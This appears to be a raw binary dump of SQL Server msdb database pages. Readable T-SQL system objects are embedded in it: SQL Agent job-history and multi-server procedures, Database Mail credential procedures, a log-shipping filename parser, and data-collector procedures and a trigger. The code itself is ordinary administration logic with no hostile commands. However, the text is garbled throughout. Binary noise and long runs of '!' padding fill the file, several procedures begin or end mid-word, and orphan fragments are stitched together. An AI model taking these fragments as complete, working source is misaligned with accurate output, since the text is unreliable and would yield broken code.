Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'Dj3'n3ە
n3j8n3j8n3j8n3j8n3j8n3j8n3j8n3j8n3j8	n3j8
n3j8n3eEn3eEn3d]}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3	}^4Dj3
}^4Dj3}^4Dj3}^4Dj3
}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3}^4Dj3ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2	ϓ40sR5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3	R5Dj3
R5Dj3R5Dj3R5Dj3
R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj35ϓ4
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3	
G6Dj3

G6Dj3
G6Dj3
G6Dj3

G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj35,5,5;P55&55&5,)5,)5,)5" 5" 6" 6" 3;.3h23aS,3aS,3|3|3|)3W)3W)3)3\1i)3\1i)3
)3
)3
)3
)3
)3

)3
)3
)3	*p)3aS,)3aS,)3|)3BNd)3qb4VTYb4
b4
b4	*pb4|b4|b4|
5|5|5|
5|Ƃ2AƂ2AƂ2H3A3A3A3A3A3A3A3A3A	3A
3A3A3A
3A3A3A3A3A8˳4K8˳4K8˳4Hq5K	q53q53q53q53
q5HU3rna2U3rna2U3rna2U3rna2U3rna2U3rna2U3rna2	U3rna2U3rna2U3rna2
U3rna2U3rna2U3rna2U3rna2U3rna2U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1	U39Jm1U39Jm1U39Jm1
U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1I4U3I4U3I4U3I4U3I4U3I4U3I4U3I4U3	I4U3I4U3I4U3I4U3=5L*=5L*=5U3=5U3=5U3=5U3=5U3=5U3=5U3=5U3	=5U3=5U3=5U3=5U3tXhL0lP4




p
T
8

x\@$x\@< h 		t	X	<	 		x\@$|`D(dH,|`D(dHLpT0lP4x\@$|`D(hL0lP4pT8tX< x\@$lP4pT8,hL08|`Z<9?iڼ0b 8
CREATE VIEW sysalerts_performance_counters_view
AS
    -- Parse object_name 'SQLServer:Buffer Manager', exclude instance specific info; return as 'Buffer Manager'
    SELECT RTRIM(SUBSTRING(pc.object_name, CHARINDEX(':', pc.object_name)+1, DATALENGTH(pc.object_name))) AS 'object_name', 
            RTRIM(pc.counter_name) AS 'counter_name', 
            CASE WHEN pc.instance_name IS NULL
                THEN NULL
                ELSE RTRIM(pc.instance_name)
            END AS 'instance_name',
            pc.cntr_value,
            pc.cntr_type,
            SERVERPROPERTY('ServerName') AS 'server_name'
    FROM sys.dm_os_performance_counters pc
0b 
8CREATE PROCEDURE [dbo].[sp_syscollector_create_tsql_query_collector]
    @collection_set_uid            uniqueidentifier,
    @collection_item_id            int,
    @collection_package_id        uniqueidentifier,
    @upload_package_id            uniqueidentifier
AS
BEGIN
    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND 
        NOT (ISNULL(IS_MEMBER(N'dc_proxy'), 0) = 1) AND 
        NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_operator'' or ''dc_proxy')
        RETURN(1) -- Failure
    END

    DECLARE @errMsg VARCHAR(256)
    DECLARE @collection_set_id int
    SELECT @collection_set_id = s.collection_set_id
    FROM dbo.syscollector_collection_items i, dbo.syscollector_collection_sets s
    WHERE i.collection_item_id = @collection_item_id
    AND i.collector_type_uid = '302E93D1-3424-4be7-AA8E-84813ECF2419'
    AND s.collection_set_uid = @collection_set_uid

    -- Verify that the collection item exists of the correct type
    IF (@collection_set_id IS NULL)
    BEGIN        
        SELECT @errMsg = CONVERT(VARCHAR(36), @collection_set_uid) + ', ' + CONVERT(VARCHAR(36), @collection_item_id)
        RAISERROR(14262, -1, -1, '@collection_set_uid, @collection_item_id', @errMsg)
        RETURN(1)
    END

    -- Get the names and folder ids for the generated packages
    DECLARE @upload_package_name sysname
    DECLARE @upload_package_folder_id uniqueidentifier
    SELECT @upload_package_name = name, @upload_package_folder_id = folderid
    FROM sysssispackages
    WHERE id = @upload_package_id
    
    IF (@upload_package_name IS NULL) 
    BEGIN
        SELECT @errMsg = @upload_package_name + ', ' + CONVERT(VARCHAR(36), @upload_package_folder_id)
        RAISERROR(14262, -1, -1, '@upload_package_name, @upload_package_folder_id', @errMsg)
        RETURN(1)
    END

    DECLARE @collection_package_name sysname
    DECLARE @collection_package_folder_id uniqueidentifier
    SELECT @collection_package_name = name, @collection_package_folder_id = folderid
    FROM sysssispackages
    WHERE id = @collection_package_id
    
    IF (@collection_package_name IS NULL) 
    BEGIN
        SELECT @errMsg = @collection_package_name + ', ' + CONVERT(VARCHAR(36), @collection_package_folder_id)
        RAISERROR(14262, -1, -1, '@collection_package_name, @collection_package_folder_id', @errMsg)
        RETURN(1)
    END

    -- we need to allow dc_admin to delete these packages along with the collection set when 
    -- the set is deleted
    EXEC sp_ssis_setpackageroles @name = @upload_package_name, @folderid = @upload_package_folder_id, @readrole = NULL, @writerole = N'dc_admin'
    EXEC sp_ssis_setpackageroles @name = @collection_package_name, @folderid = @collection_package_folder_id, @readrole = NULL, @writerole = N'dc_admin'

    INSERT INTO [dbo].[syscollector_tsql_query_collector]
    (
        collection_set_uid,
        collection_set_id, 
        collection_item_id,
        collection_package_id,
        upload_package_id
    )
    VALUES
    (
        @collection_set_uid,
        @collection_set_id,
        @collection_item_id,
        @collection_package_id,
        @upload_package_id
    )
END
 no_output
      IF (@ret <> 0)
        RETURN 1 -- Failure
    END

  END

  RETURN(0) -- Success
END
0fc K8
CREATE PROCEDURE dbo.sysmail_alter_user_credential_sp
   @credential_name sysname,
   @username      nvarchar(128),
   @password      nvarchar(128)
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @sql NVARCHAR(max)

   -- alter credential DDL
   SET @sql = N'ALTER CREDENTIAL ' + QUOTENAME(@credential_name)
         + N' WITH IDENTITY = ' + QUOTENAME(@username, '''')
         + N', SECRET = ' + QUOTENAME(ISNULL(@password, N''), '''')

   EXEC @rc = sp_executesql @statement = @sql
   IF(@rc <> 0)
      RETURN @rc

   RETURN(0)
0
d 8
CREATE PROCEDURE dbo.sysmail_drop_user_credential_sp
   @credential_name sysname
AS
   SET NOCOUNT ON
   DECLARE @rc int
   DECLARE @sql NVARCHAR(max)

   -- Drop credential DDL
   SET @sql = N'DROP CREDENTIAL ' + QUOTENAME(@credential_name)

   EXEC @rc = sp_executesql @statement = @sql
   IF(@rc <> 0)
      RETURN @rc

   RETURN(0)
0<b 8CREATE PROCEDURE sp_log_shipping_get_date_from_file 
  @db_name sysname,
  @filename NVARCHAR (500),
  @file_date DATETIME OUTPUT
AS
BEGIN
  SET NOCOUNT ON

  DECLARE @tempname NVARCHAR (500)
  IF (LEN (@filename) - (LEN(@db_name) + LEN ('_tlog_')) <= 0)
    RETURN(1) -- filename string isn't long enough
  SELECT @tempname = RIGHT (@filename, LEN (@filename) - (LEN(@db_name) + LEN ('_tlog_')))
  IF (CHARINDEX ('.',@tempname,0) > 0)
    SELECT @tempname = LEFT (@tempname, CHARINDEX ('.',@tempname,0) - 1)
  IF (LEN (@tempname) <>  8 AND LEN (@tempname) <> 12)
    RETURN (1) -- error must be yyyymmddhhmm or yyyymmdd
  IF (ISNUMERIC (@tempname) = 0 OR CHARINDEX ('.',@tempname,0) <> 0 OR CONVERT (FLOAT,SUBSTRING (@tempname, 1,8)) < 1 )
    RETURN (1) -- must be numeric, can't contain any '.' etc
  SELECT @file_date = CONVERT (DATETIME,SUBSTRING (@tempname, 1,8),112)
  IF (LEN (@tempname) = 12)
  BEGIN
    SELECT @file_date = DATEADD (hh, CONVERT (INT, SUBSTRING (@tempname,9,2)),@file_date)
    SELECT @file_date = DATEADD (mi, CONVERT (INT, SUBSTRING (@tempname,11,2)),@file_date)
  END
  RETURN (0) -- success
END
0uc D8<hP y_type  = 2) -- Multi-Server
    AND ((@job_id IS NULL)   OR (sj.job_id = @job_id))
    AND ((@job_name IS NULL) OR (sj.name = @job_name))

  RETURN(0) -- Success
END
07e 8CREATE PROCEDURE sp_target_server_summary
  @target_server sysname = NULL
AS
BEGIN
  SET NOCOUNT ON

  SELECT server_id,
         server_name,
        'local_time' = DATEADD(SS, DATEDIFF(SS, last_poll_date, GETDATE()), local_time_at_last_poll),
         last_poll_date,
        'unread_instructions' = (SELECT COUNT(*)
                                 FROM msdb.dbo.sysdownloadlist sdl
                                 WHERE (UPPER(sdl.target_server) = UPPER(sts.server_name))
                                   AND (sdl.status = 0)),
        'blocked' = (SELECT COUNT(*)
                     FROM msdb.dbo.sysdownloadlist sdl
                     WHERE (UPPER(sdl.target_server) = UPPER(sts.server_name))
                       AND (sdl.error_message IS NOT NULL)),
         poll_interval
  FROM msdb.dbo.systargetservers sts
  WHERE ((@target_server IS NULL) OR (UPPER(@target_server) = UPPER(sts.server_name)))
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d`Y<zE^Ƿ0Qr` 8CREATE PROCEDURE sp_sqlagent_log_jobhistory
  @job_id               UNIQUEIDENTIFIER,
  @step_id              INT,
  @sql_message_id       INT = 0,
  @sql_severity         INT = 0,
  @message              NVARCHAR(4000) = NULL,
  @run_status           INT, -- SQLAGENT_EXEC_X code
  @run_date             INT,
  @run_time             INT,
  @run_duration         INT,
  @operator_id_emailed  INT = 0,
  @operator_id_netsent  INT = 0,
  @operator_id_paged    INT = 0,
  @retries_attempted    INT,
  @server               sysname = NULL,
  @session_id           INT = 0
AS
BEGIN
  DECLARE @retval              INT
  DECLARE @operator_id_as_char VARCHAR(10)
  DECLARE @step_name           sysname
  DECLARE @error_severity      INT

  SET NOCOUNT ON

  IF (@server IS NULL) OR (UPPER(@server collate SQL_Latin1_General_CP1_CS_AS) = '(LOCAL)')
    SELECT @server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  -- Check authority (only SQLServerAgent can add a history entry for a job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  -- NOTE: We raise all errors as informational (sev 0) to prevent SQLServerAgent from caching
  --       the operation (if it fails) since if the operation will never run successfully we
  --       don't want it to hang around in the operation cache.
  SELECT @error_severity = 0

  -- Check job_id
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysjobs_view
                  WHERE (job_id = @job_id)))
  BEGIN
    DECLARE @job_id_as_char      VARCHAR(36)
    SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
    RAISERROR(14262, @error_severity, -1, 'Job', @job_id_as_char)
    RETURN(1) -- Failure
  END

  -- Check step id
  IF (@step_id <> 0) -- 0 means 'for the whole job'
  BEGIN
    SELECT @step_name = step_name
    FROM msdb.dbo.sysjobsteps
    WHERE (job_id = @job_id)
      AND (step_id = @step_id)
    IF (@step_name IS NULL)
    BEGIN
      DECLARE @step_id_as_char     VARCHAR(10)
      SELECT @step_id_as_char = CONVERT(VARCHAR, @step_id)
      RAISERROR(14262, @error_severity, -1, '@step_id', @step_id_as_char)
      RETURN(1) -- Failure
    END
  END
  ELSE
    SELECT @step_name = FORMATMESSAGE(14570)

  -- Check run_status
  IF (@run_status NOT IN (0, 1, 2, 3, 4, 5)) -- SQLAGENT_EXEC_X code
  BEGIN
    RAISERROR(14266, @error_severity, -1, '@run_status', '0, 1, 2, 3, 4, 5')
    RETURN(1) -- Failure
  END

  -- Check run_date
  EXECUTE @retval = sp_verify_job_date @run_date, '@run_date', 10
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check run_time
  EXECUTE @retval = sp_verify_job_time @run_time, '@run_time', 10
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check operator_id_emailed
  IF (@operator_id_emailed <> 0)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysoperators
                    WHERE (id = @operator_id_emailed)))
    BEGIN
      SELECT @operator_id_as_char = CONVERT(VARCHAR, @operator_id_emailed)
      RAISERROR(14262, @error_severity, -1, '@operator_id_emailed', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Check operator_id_netsent
  IF (@operator_id_netsent <> 0)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysoperators
                    WHERE (id = @operator_id_netsent)))
    BEGIN
      SELECT @operator_id_as_char = CONVERT(VARCHAR, @operator_id_netsent)
      RAISERROR(14262, @error_severity, -1, '@operator_id_netsent', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Check operator_id_paged
  IF (@operator_id_paged <> 0)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysoperators
                    WHERE (id = @operator_id_paged)))
    BEGIN
      SELECT @operator_id_as_char = CONVERT(VARCHAR, @operator_id_paged)
      RAISERROR(14262, @error_severity, -1, '@operator_id_paged', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Insert the history row
  INSERT INTO msdb.dbo.sysjobhistory
         (job_id,
          step_id,
          step_name,
          sql_message_id,
          sql_severity,
          message,
          run_status,
          run_date,
          run_time,
          run_duration,
          operator_id_emailed,
          operator_id_netsent,
          operator_id_paged,
          retries_attempted,
          server)
  VALUES (@job_id,
          @step_id,
          @step_name,
          @sql_message_id,
          @sql_severity,
          @message,
          @run_status,
          @run_date,
          @run_time,
          @run_duration,
          @operator_id_emailed,
          @operator_id_netsent,
          @operator_id_paged,
          @retries_attempted,
          @server)

  -- Update sysjobactivity table 
  IF (@step_id = 0) --only update for job, not for each step
  BEGIN
    UPDATE msdb.dbo.sysjobactivity
    SET stop_execution_date = DATEADD(ms, -DATEPART(ms, GetDate()),  GetDate()),
        job_history_id = SCOPE_IDENTITY()
    WHERE
        session_id = @session_id AND job_id = @job_id
  END
  -- Special handling of replication jobs 
  DECLARE @job_name sysname
  DECLARE @category_id int
  SELECT  @job_name = name, @category_id = category_id from msdb.dbo.sysjobs 
   WHERE job_id = @job_id 
 
  -- If replicatio agents (snapshot, logreader, distribution, merge, and queuereader
  -- and the step has been canceled and if we are at the distributor.
  IF @category_id in (10,13,14,15,19) and @run_status = 3 and 
   object_id('MSdistributiondbs') is not null
  BEGIN
    -- Get the database
    DECLARE @database sysname
    SELECT @database = database_name from sysjobsteps where job_id = @job_id and 
   lower(subsystem) in (N'distribution', N'logreader','snapshot',N'merge',
      N'queuereader')
    -- If the database is a distribution database
    IF EXISTS (select * from MSdistributiondbs where name = @database)
    BEGIN
   DECLARE @proc nvarchar(500)
   SELECT @proc = quotename(@database) + N'.dbo.sp_MSlog_agent_cancel'
   EXEC @proc @job_id = @job_id, @category_id = @category_id, 
      @message = @message
    END  
  END

  -- Delete any history rows that are over the registry-defined limits
  IF (@step_id = 0) --only check once per job execution.
  BEGIN
    EXECUTE msdb.dbo.sp_jobhistory_row_limiter @job_id
  END

  RETURN(@@error) -- 0 means success
END
0W` ?8CREATE TRIGGER [dbo].[syscollector_collection_item_parameter_update_trigger] on [dbo].[syscollector_collection_items_internal]
FOR UPDATE
AS
BEGIN
    DECLARE @collection_set_id int
    DECLARE @collection_item_id int

    -- remove the TSQL query collection item that was updated so packages will be regenerated 
    -- base on the new parameters
    IF (NOT UPDATE (parameters))
       RETURN

    -- clean up the SSIS packages that are left behind
    DECLARE inserted_cursor CURSOR LOCAL FOR
        SELECT collection_set_id, collection_item_id
        FROM inserted
    
    OPEN inserted_cursor
    FETCH inserted_cursor INTO @collection_set_id, @collection_item_id

    WHILE @@FETCH_STATUS = 0
    BEGIN
        DELETE FROM dbo.syscollector_tsql_query_collector 
        WHERE collection_set_id = @collection_set_id
        AND collection_item_id = @collection_item_id

        FETCH inserted_cursor INTO @collection_set_id, @collection_item_id
    END

    CLOSE inserted_cursor
    DEALLOCATE inserted_cursor
END
quired_microsoft_version % 0x10000 )    

   RAISERROR(14541, -1, -1, @msx_version, @required_msx_version)
    RETURN(1) -- Failure
  END
  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!CC`<,(b0WZb 8CREATE PROCEDURE sp_sqlagent_probe_msx
  @server_name          sysname,  -- The name of the target server probing the MSX
  @local_time           NVARCHAR(100), -- The local time at the target server in the format YYYY/MM/DD HH:MM:SS
  @poll_interval        INT,           -- The frequency (in seconds) with which the target polls the MSX
  @time_zone_adjustment INT = NULL     -- The offset from GMT in minutes (may be NULL if unknown)
AS
BEGIN
  DECLARE @bad_enlistment        BIT
  DECLARE @blocking_instructions INT
  DECLARE @pending_instructions  INT

  SET NOCOUNT ON

  SELECT @server_name = UPPER(@server_name)
  SELECT @bad_enlistment = 0, @blocking_instructions = 0, @pending_instructions = 0

  UPDATE msdb.dbo.systargetservers
  SET last_poll_date = GETDATE(),
      local_time_at_last_poll = CONVERT(DATETIME, @local_time, 111),
      poll_interval = @poll_interval,
      time_zone_adjustment = ISNULL(@time_zone_adjustment, time_zone_adjustment)
  WHERE (UPPER(server_name) = @server_name)

  -- If the systargetservers entry is missing (and no DEFECT instruction has been posted)
  -- then the enlistment is bad
  IF (NOT EXISTS (SELECT 1
                  FROM msdb.dbo.systargetservers
                  WHERE (UPPER(server_name) = @server_name))) AND
     (NOT EXISTS (SELECT 1
                  FROM msdb.dbo.sysdownloadlist
                  WHERE (target_server = @server_name)
                    AND (operation_code = 7)
                    AND (object_type = 2)))
    SELECT @bad_enlistment = 1

  SELECT @blocking_instructions = COUNT(*)
  FROM msdb.dbo.sysdownloadlist
  WHERE (target_server = @server_name)
    AND (error_message IS NOT NULL)

  SELECT @pending_instructions = COUNT(*)
  FROM msdb.dbo.sysdownloadlist
  WHERE (target_server = @server_name)
    AND (error_message IS NULL)
    AND (status = 0)

  SELECT @bad_enlistment, @blocking_instructions, @pending_instructions
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!